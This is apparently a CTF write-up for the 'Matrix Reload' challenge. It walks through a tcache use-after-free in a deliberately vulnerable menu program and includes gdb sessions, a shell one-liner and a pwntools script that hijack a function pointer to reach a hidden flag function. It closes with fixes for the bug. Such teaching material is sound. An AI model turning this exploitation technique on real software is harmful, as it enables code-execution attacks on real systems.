Back to KPMG CTF 2026 Campus Edition
Matrix Reload (Reverse Engineering) - Writeup
KPMG CTF 2026 Campus EditionReverse Engineering30 ptsMedium

Matrix Reload (Reverse Engineering) - Writeup

Oct 12, 2026 7 min readWriteup 21 of 22#tutorial
On this page
  1. 1.Challenge Overview
  2. 2.Step 0: What is a Use-After-Free? (for first-timers)
  3. 3.Step 1: Triage the Binary
  4. 4.Step 2: Find the Hidden Function
  5. 5.Step 3: Static Analysis — Reconstruct the Logic
  6. 6.Step 4: Confirm the Heap Reuse in a Debugger
  7. 7.Step 5: Get revealflag's Address
  8. 8.Step 6: Trigger It — The Exploit
  9. 9.Step 7: Bonus — The Flag Never Needed Execution
  10. 10.Summary
  11. 11.Key Takeaways

Challenge Overview

EventKPMG CTF 2026 Campus Edition
ChallengeMatrix Reload
CategoryReverse Engineering / Binary Exploitation (pwn)
Points30
Targetmatrix (64-bit ELF, provided in CTF_File.zip)

"Hidden functionality exists beyond the available menu options... The bug lies in how the program handles a user after deletion. Follow the sequence create → delete → create data → access user and observe how heap memory is reused. After locating the target function in the debugger, try supplying its hexadecimal address when creating data and see what happens when the stale user object is accessed."

Matrix Reload challenge card

The brief is practically a walkthrough: there is a hidden function the menu never calls, the program frees a user but keeps using it (a Use-After-Free), and the fix is to make the freed memory come back under our control and point it at that hidden function. This is a textbook tcache Use-After-Free → function-pointer hijack.


Step 0: What is a Use-After-Free? (for first-timers)

When a C program calls malloc(size), it gets a block of heap memory. free(ptr) hands that block back to the allocator so it can be reused. A Use-After-Free (UAF) happens when the program keeps using a pointer after it was freed.

The danger: once memory is freed, the next malloc() of the same size often returns that exact same block. Modern glibc keeps freed blocks in a per-size cache called the tcache, and it is LIFO (last-freed, first-returned). So if we:

  1. free an object, then
  2. allocate a new object of the same size and fill it with our own bytes,

the new object lands on top of the old one. The old (stale) pointer now points at our data. If that old object contained a function pointer that the program later calls, we control where it jumps. That is this whole challenge.


Step 1: Triage the Binary

Before opening a disassembler, figure out what we're dealing with.

file matrix
matrix: ELF 64-bit LSB pie executable, x86-64, dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, ... not stripped

Two things matter here:

  • not stripped → all the function names are still in the binary. Huge help.
  • pie executable → the code is loaded at a random base address each run (ASLR). So function addresses aren't fixed numbers; we'll have to resolve them at runtime. (This is why the brief says "locate the function in the debugger.")

A quick protection summary:

PIE      : Yes (DYN)        <- addresses randomized
NX       : Yes              <- can't execute shellcode on the stack/heap
RELRO    : Partial
Canary   : No

NX being on tells us we won't be injecting shellcode — we'll be redirecting execution to code that already exists in the binary. That fits perfectly with a hidden win-function.


Step 2: Find the Hidden Function

Since the binary isn't stripped, just list its functions:

nm matrix | grep ' [tT] '
00000000000011e9 T print_username
0000000000001213 T reveal_flag      <-- !!
000000000000129d T create_user
0000000000001360 T delete_user
00000000000013a1 T create_data
00000000000014aa T show_user
00000000000014e4 T main

The menu only offers Create user, Delete user, Show user, Create data. But there's a reveal_flag function in the binary that no menu option calls. That mismatch — "code that exists but you can't reach from the menu" — is the objective. Note its file offset: 0x1213.

A glance at the strings confirms the menu and hints at the input we'll need:

strings matrix
Enter username:
Enter data:
Enter handler address (hex):      <-- create data asks for a hex address
Invalid address.
=== The Matrix Reloaded ( Freed Memory ) ===

"Enter handler address (hex)" is a big tell: the program is going to take an address from us and store it somewhere.


Step 3: Static Analysis — Reconstruct the Logic

Open the binary in Ghidra/IDA (or objdump -d -M intel matrix) and read the four menu functions. Here's the cleaned-up, commented reconstruction. The object every function works with is 40 bytes (0x28):

// The heap object (what create_user / create_data allocate):
struct obj {
    char   name[0x20];   // +0x00 : 32-byte text buffer
    void (*handler)();    // +0x20 : 8-byte FUNCTION POINTER  <-- the target
};

void **g_user;   // global pointer to the current user object
void **g_data;   // global pointer to the current data object

create_user — allocates the object and installs a legitimate handler:

void create_user(void) {
    g_user = malloc(0x28);                 // 40-byte chunk
    g_user->handler = print_username;      // [g_user+0x20] = &print_username
    printf("Enter username: ");
    fgets(g_user->name, 0x20, stdin);      // fill name[]
    puts("User created.");
}

delete_user — frees it, but leaves the pointer dangling:

void delete_user(void) {
    if (g_user == NULL) { puts("No user exists."); return; }
    free(g_user);                          // chunk goes into tcache[0x30]
    puts("User deleted.");
    // *** BUG: g_user is NOT set to NULL. It still points at freed memory. ***
}

create_data — allocates the same size, and writes an attacker-supplied value into the handler slot:

void create_data(void) {
    unsigned long addr;
    g_data = malloc(0x28);                 // SAME 0x28 -> reuses the freed user chunk
    printf("Enter data: ");
    fgets(g_data->name, 0x20, stdin);      // writes name[] (offset +0x00)
    printf("Enter handler address (hex): ");
    scanf("%lx", &addr);                   // read a hex number from us
    g_data->handler = (void(*)())addr;     // [g_data+0x20] = addr
                                           // ...and g_data == g_user, so this
                                           // overwrites the user's handler!
    puts("Data created.");
}

show_user — calls whatever function pointer is in the user object:

void show_user(void) {
    if (g_user == NULL) { puts("No user exists."); return; }
    g_user->handler(g_user);               // call [g_user+0x20]
}

Putting it together:

  • create_user stores print_username at offset +0x20.
  • delete_user frees the object but keeps g_user pointing at it.
  • create_data grabs the same freed block and lets us write any 8-byte value to offset +0x20.
  • show_user calls offset +0x20.

So the value we type into "handler address" becomes the function show_user calls. Point it at reveal_flag and we win.


Step 4: Confirm the Heap Reuse in a Debugger

Theory is nice, but let's prove the freed user chunk and the new data chunk are the same memory. Run under gdb and print the globals at two breakpoints:

gdb -q ./matrix
(gdb) break delete_user
(gdb) break show_user
(gdb) run
# then drive the menu: 1 alice  /  2  /  4 mydata 4096  /  3

Printing the pointers:

[at delete_user] g_user = 0x55555555b2c0
[at show_user]   g_user = 0x55555555b2c0   g_data = 0x55555555b2c0
handler to be called = 0x4096
address of reveal_flag = 0x555555555213

This is the entire exploit in four lines:

  • g_user after free is still 0x55555555b2c0 (dangling — the UAF).
  • g_data came back as the same address 0x55555555b2c0 (tcache reuse confirmed).
  • The handler slot now holds 0x4096 — exactly the hex value I typed as "data" (4096 read as %lx). We control the function pointer.
  • reveal_flag lives at 0x555555555213 this run.

Note: I typed 4096 and it became 0x4096 because the program parses it with scanf("%lx") — hex, and without a 0x prefix.


Step 5: Get reveal_flag's Address

Because the binary is PIE, reveal_flag's address changes every run — unless ASLR is disabled. gdb disables ASLR by default, so inside gdb its address is stable. Ask for it directly:

(gdb) p &reveal_flag
$1 = (<text variable, no debug info> *) 0x555555555213 <reveal_flag>

Sanity check against the static offset from Step 2: base 0x555555554000 (the standard no-ASLR PIE base) + 0x1213 = 0x555555555213. Match.


Step 6: Trigger It — The Exploit

Now run the sequence the brief described. Outside gdb I use setarch -R to disable ASLR so the base is the same 0x555555554000:

printf '1\nalice\n2\n4\nmydata\n555555555213\n3\n5\n' | setarch -R ./matrix

The menu sequence in plain English:

InputMenu actionEffect
1, aliceCreate userallocate object, handler = print_username
2Delete userfree() the object — g_user now dangling (UAF)
4, mydata, 555555555213Create datareuse the freed chunk; overwrite handler with &reveal_flag
3Show usercalls the handler → jumps to reveal_flag
5Exit

Output:

> Enter username: User created.
> User deleted.
> Enter data: Enter handler address (hex): Data created.
> Flag: KPMG_CTF{Matrix_Escaped}

Flag captured. 🎉

Reproducible version with pwntools

For the writeup/repo, a script is cleaner than typing menu numbers, and elf.sym.reveal_flag resolves the address properly even with PIE:

from pwn import *

elf = context.binary = ELF('./matrix')
p = process('./matrix')              # local; use remote(host, port) for a server

def menu(choice):
    p.sendlineafter(b'> ', str(choice).encode())

menu(1); p.sendlineafter(b'username: ', b'alice')          # create user
menu(2)                                                    # delete user  (UAF)
menu(4); p.sendlineafter(b'data: ', b'mydata')             # reuse chunk
p.sendlineafter(b'(hex): ', f'{elf.sym.reveal_flag:x}'.encode())  # overwrite handler
menu(3)                                                    # show user -> reveal_flag
print(p.recvall(timeout=2).decode())

On a remote PIE target you couldn't just read &reveal_flag — you'd need an info-leak to learn the base first. This challenge is solvable locally because gdb / setarch -R pin the base. Worth stating in a writeup.


Step 7: Bonus — The Flag Never Needed Execution

reveal_flag builds the flag on the stack from three 8-byte constants and XORs every byte with 0x5a:

121b: movabs rax, 0x1c0e19051d170a11
1225: movabs rdx, 0x052233282e3b1721
1237: movabs rax, 0x273e3f2a3b39291f
125d: xor    eax, 0x5a               ; single-byte key, 24 bytes total

So you can recover it statically, straight from those immediates — no exploit required:

import struct
qs = [0x1c0e19051d170a11, 0x052233282e3b1721, 0x273e3f2a3b39291f]
raw = b"".join(struct.pack("<Q", q) for q in qs)
print(bytes(b ^ 0x5a for b in raw[:24]).decode())
# KPMG_CTF{Matrix_Escaped}

Triggering the UAF is the intended path; the XOR decode is a nice shortcut to confirm the answer.


Summary

StepActionResult
1file / checksec64-bit PIE, not stripped, NX on
2nm + stringshidden reveal_flag (offset 0x1213); "handler address (hex)" prompt
3Static analysisobject has a function pointer at +0x20; delete_user never nulls g_user (UAF)
4gdb breakpointsg_user == g_data after reuse; handler slot = our value
5p &reveal_flagruntime address 0x555555555213
6create → delete → create data(addr) → show userFlag

Key Takeaways

  • A dangling pointer is the whole bug. delete_user calls free(g_user) but never does g_user = NULL. One missing line turns a freed object into a live attacker-controlled one. Always null pointers after freeing them.
  • Same-size allocations collide in the tcache. Because the user and data objects are both 0x28 bytes, the freed user chunk is the exact block create_data gets back (LIFO). Reusing a type's memory for a different object without reinitializing it is dangerous.
  • Never call a function pointer you let the user write. show_user blindly calls [g_user+0x20], and create_data writes that slot from user input. That's arbitrary-call. Sensitive fields like function pointers must never be attacker-writable.
  • PIE raises the bar but isn't a wall locally. Addresses randomize per run, but gdb/setarch -R disable ASLR, and the binary wasn't stripped, so reveal_flag was trivial to locate. A remote PIE target would additionally require an info-leak.
  • This maps to CWE-416 (Use After Free). Real-world UAFs in browsers and kernels follow the same shape: free an object, get the allocator to hand that memory back under your control, then make the program use a pointer (often a vtable/function pointer) inside it.
  • Fix: set g_user = NULL immediately after free(); re-initialize any function pointers when reusing memory; and don't store/call pointers that user input can overwrite.

Flag: KPMG_CTF{Matrix_Escaped}